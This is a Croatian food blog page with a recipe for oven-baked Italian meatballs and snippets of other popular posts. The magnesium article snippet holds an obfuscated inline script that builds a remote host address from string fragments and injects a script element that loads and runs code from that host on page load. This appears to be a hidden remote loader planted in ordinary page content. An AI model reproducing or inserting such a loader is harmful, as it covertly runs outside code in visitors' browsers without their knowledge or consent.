TALIJANSKE MESNE OKRUGLICE IZ PEĆNICE


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Talijanske mesne okruglice iz pećnice


Talijanske mesne okruglice iz pećnice 



Ove mesne okruglice na talijanski način još su jedan dokaz da za odličan okus ne treba puno sastojaka ili komplicirana priprema. Peku se u pećnici, a to znači - manje nereda i manje masnoće, ali jednako sočan rezultat.




Talijanske mesne okruglice iz pećnice 


Sastojci:

  • 20 g krušnih mrvica
  • 120 ml mlijeka ili goveđeg temeljca
  • 2 žlice maslinova ulja
  • 1 luk, sitno nasjeckan
  • 450 g mljevene govedine
  • 450 g mljevene svinjetine
  • 2 velika jaja
  • 2 žlice ribanog parmezana
  • ¼ vezice (oko 10 g) svježeg peršina, sitno nasjeckanog
  • 3 češnja češnjaka, zgnječena
  • 2 čajne žličice soli
  • 1 čajna žličica mljevenog crnog papra
  • 1 čajna žličica sušene talijanske mješavine začina
  • ½ čajne žličice pahuljica čilija



Priprema:

  1. Lim za pečenje obložite aluminijskom folijom i lagano ga poprskajte uljem. U manjoj zdjeli pomiješajte krušne mrvice i mlijeko te ostavite da se namaču 20 minuta.
  2. U tavi zagrijte maslinovo ulje na srednje jakoj vatri. Dodajte luk i pirjajte uz miješanje dok ne omekša i postane staklast, oko 5 minuta. Smanjite vatru i nastavite pirjati još oko 15 minuta, dok ne postane vrlo mekan.
  3. U velikoj zdjeli lagano izmiješajte mljevenu govedinu i svinjetinu. Dodajte pirjani luk, smjesu krušnih mrvica i mlijeka, jaja, parmezan, peršin, češnjak, sol, papar, talijanske začine i pahuljice čilija. Sve nježno sjedinite silikonskom ili drvenom lopaticom. Pokrijte i stavite u hladnjak na otprilike jedan sat.
  4. Zagrijte pećnicu na 220 stupnjeva.
  5. Od smjese oblikujte okruglice promjera oko 4 cm i složite ih u jednom sloju na pripremljeni lim.
  6. Pecite u zagrijanoj pećnici 15–20 minuta, dok ne dobiju lijepu boju i budu potpuno pečene.
  7. Poslužite s omiljenim umakom od rajčice.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više